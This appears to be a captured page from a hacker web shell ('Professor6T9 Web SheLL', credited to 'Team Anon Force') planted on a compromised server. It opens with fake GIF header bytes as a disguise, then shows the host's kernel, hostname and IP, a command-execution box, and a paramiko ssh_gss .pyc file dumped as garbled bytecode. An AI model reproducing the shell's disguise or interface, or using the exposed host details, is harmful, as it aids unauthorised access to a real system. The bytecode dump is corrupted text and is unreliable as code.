GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib
/
python3.8
/
site-packages
/
paramiko
/
__pycache__
[ HOME ]
Exec
Submit
File Name : ssh_gss.cpython-38.pyc
U rX�f�p � @ sJ d Z ddlZddlZddlZdZdZdZzDddlZeed�rTej dkrTdZej fZndZejjej jjfZW n^ eefk r� z(ddlZddlZddlZd ZejfZW n ek r� d ZdZY nX Y nX ddlmZ ddlmZ dd lmZ ddd�ZG dd� d�ZG dd� de�Zedk �r&eZG dd� de�Z G dd� de�Z!dS )z� This module provides GSS-API / SSPI authentication as defined in :rfc:`4462`. .. note:: Credential delegation is not supported in server mode. .. seealso:: :doc:`/api/kex_gss` .. versionadded:: 1.15 � NT� � __title__z python-gssapi�MIT�PYTHON-GSSAPI-NEW�SSPIF)�MSG_USERAUTH_REQUEST)�SSHException)�__version_info__c C sL t dkrt| |�S t dkr$t| |�S t dkr@tjdkr@t| |�S td��dS )a� Provide SSH2 GSS-API / SSPI authentication. :param str auth_method: The name of the SSH authentication mechanism (gssapi-with-mic or gss-keyex) :param bool gss_deleg_creds: Delegate client credentials or not. We delegate credentials by default. :return: Either an `._SSH_GSSAPI_OLD` or `._SSH_GSSAPI_NEW` (Unix) object or an `_SSH_SSPI` (Windows) object :rtype: object :raises: ``ImportError`` -- If no GSS-API / SSPI module could be imported. :see: `RFC 4462 <http://www.ietf.org/rfc/rfc4462.txt>`_ :note: Check for the available API and return either an `._SSH_GSSAPI_OLD` (MIT GSSAPI using python-gssapi package) object, an `._SSH_GSSAPI_NEW` (MIT GSSAPI using gssapi package) object or an `._SSH_SSPI` (MS SSPI) object. If there is no supported API available, ``None`` will be returned. r r r �ntz)Unable to import a GSS-API / SSPI module!N)�_API�_SSH_GSSAPI_OLD�_SSH_GSSAPI_NEW�os�name� _SSH_SSPI�ImportError)�auth_method�gss_deleg_credsr r �A/opt/alt/python38/lib/python3.8/site-packages/paramiko/ssh_gss.py�GSSAuthN s r c @ sJ e Zd ZdZdd� Zdd� Zdd� Zdd d �Zdd� Zd d� Z dd� Z dS )�_SSH_GSSAuthzs Contains the shared variables and methods of `._SSH_GSSAPI_OLD`, `._SSH_GSSAPI_NEW` and `._SSH_SSPI`. c C sL || _ || _d| _d| _d| _d| _d| _d| _d| _d| _ d| _ d| _dS )�� :param str auth_method: The name of the SSH authentication mechanism (gssapi-with-mic or gss-keyex) :param bool gss_deleg_creds: Delegate client credentials or not Nzssh-connectionz1.2.840.113554.1.2.2F)�_auth_method�_gss_deleg_creds� _gss_host� _username�_session_id�_service� _krb5_mech� _gss_ctxt�_gss_ctxt_status� _gss_srv_ctxt�_gss_srv_ctxt_statusZcc_file��selfr r r r r �__init__t s z_SSH_GSSAuth.__init__c C s |� d�r|| _dS )z� This is just a setter to use a non default service. I added this method, because RFC 4462 doesn't specify "ssh-connection" as the only service value. :param str service: The desired SSH service zssh-N)�findr )r$ �servicer r r �set_service� s z_SSH_GSSAuth.set_servicec C s || _ dS )z� Setter for C{username}. If GSS-API Key Exchange is performed, the username is not set by C{ssh_init_sec_context}. :param str username: The name of the user who attempts to login N)r )r$ �usernamer r r �set_username� s z_SSH_GSSAuth.set_username�clientc C s\ ddl m} ddlm} | �d�}|�|| j��}| �t|��}|dkrP|| S || | S )a� This method returns a single OID, because we only support the Kerberos V5 mechanism. :param str mode: Client for client mode and server for server mode :return: A byte sequence containing the number of supported OIDs, the length of the OID and the actual OID encoded with DER :note: In server mode we just return the OID length and the DER encoded OID. r )�ObjectIdentifier)�encoder� �server)Zpyasn1.type.univr, �pyasn1.codec.derr- �_make_uint32�encoder �len)r$ �moder, r- ZOIDsZkrb5_OIDZOID_lenr r r �ssh_gss_oids� s z_SSH_GSSAuth.ssh_gss_oidsc C s0 ddl m} |�|�\}}|�� | jkr,dS dS )z� Check if the given OID is the Kerberos V5 OID (server mode). :param str desired_mech: The desired GSS-API mechanism of the client :return: ``True`` if the given OID is supported, otherwise C{False} r ��decoderFT)r0 r7 �decode�__str__r )r$ �desired_mechr7 �mech�__r r r �ssh_check_mech� s z_SSH_GSSAuth.ssh_check_mechc C s t �d|�S )z� Create a 32 bit unsigned integer (The byte sequence of an integer). :param int integer: The integer value to convert :return: The byte sequence of an 32 bit integer z!I)�struct�pack)r$ �integerr r r r1 � s z_SSH_GSSAuth._make_uint32c C s� | � t|��}||7 }|t�dt�7 }|| � t|��7 }||�� 7 }|| � t|��7 }||�� 7 }|| � t|��7 }||�� 7 }|S )a� Create the SSH2 MIC filed for gssapi-with-mic. :param str session_id: The SSH session ID :param str username: The name of the user who attempts to login :param str service: The requested SSH service :param str auth_method: The requested SSH authentication mechanism :return: The MIC as defined in RFC 4462. The contents of the MIC field are: string session_identifier, byte SSH_MSG_USERAUTH_REQUEST, string user-name, string service (ssh-connection), string authentication-method (gssapi-with-mic or gssapi-keyex) �B)r1 r3 r>